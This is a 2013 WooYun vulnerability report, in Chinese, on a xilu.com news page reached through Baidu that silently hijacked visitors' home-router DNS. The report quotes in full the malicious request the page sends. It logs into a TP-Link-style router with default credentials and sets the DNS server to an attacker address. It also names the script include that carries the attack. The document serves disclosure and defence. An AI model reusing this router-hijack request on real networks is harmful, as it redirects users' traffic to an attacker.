漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-037425
漏洞标题：西陆网（xilu.com）首页劫持用户本地路由器DNS
相关厂商：百度
漏洞作者： ccc008
提交时间：2013-09-18 09:16
修复时间：2013-11-02 09:17
公开时间：2013-11-02 09:17
漏洞类型：用户资料大量泄漏
危害等级：中
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-09-18： 细节已通知厂商并且等待厂商处理中
2013-09-19： 厂商已经确认，细节仅向厂商公开
2013-09-29： 细节向核心白帽子及相关领域专家公开
2013-10-09： 细节向普通白帽子公开
2013-10-19： 细节向实习白帽子公开
2013-11-02： 细节向公众公开
简要描述：
今天通过百度新版首页，访问西陆网的一条新闻后，发现本地路由器DNS被劫持为121.157.39.111。于是具体分析了一下劫持的过程。
由于是百度首页推荐的新闻，影响人群应该不小。报告给百度，是希望百度把这个垃圾网站踢出百度新闻源，免得祸害人呀
详细说明：
1、在百度首页，访问了一条 “赵红霞真实照片”的新闻。
网页地址 http://shizheng.xilu.com/20130917/1000010000094910.html
2、通过firebug分析，发现页面包含了如下链接。
http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=&dnsserver=121.157.39.111&dnsserver2=114.114.114.114&Save=%B1%A3+%B4%E6
多次访问发现admin:admin，会变化，例如admin:123456，也就是利用路由器默认密码不断尝试修改路由器dns为121.157.39.111、114.114.114.114。
通过Referer可以看出，这个修改dns的链接来源于http://gz.dagushu.com/center.html。
3、切换firebug到html，发现以框架形式包含了http://gz.dagushu.com/center.html
4、最终存在弱口令的路由器dns被修改。整个劫持过程完成。
补充：进一步分析，发现恶意代码通过
<script src="http://newspage.xilu.com/model/xilu_bottom.js" type="text/javascript" language="JavaScript"> 引入，属于西陆网的域名，可见其有一定的主观故意。
漏洞证明：
修复方案：
把西陆网踢出百度新闻源
版权声明：转载请注明来源 ccc008@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：4
确认时间：2013-09-19 22:31
厂商回复：
感谢提交此问题，我们正在联系业务部门处理，祝中秋快乐。
--“百度，因你更安全”
最新状态：
暂无
( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)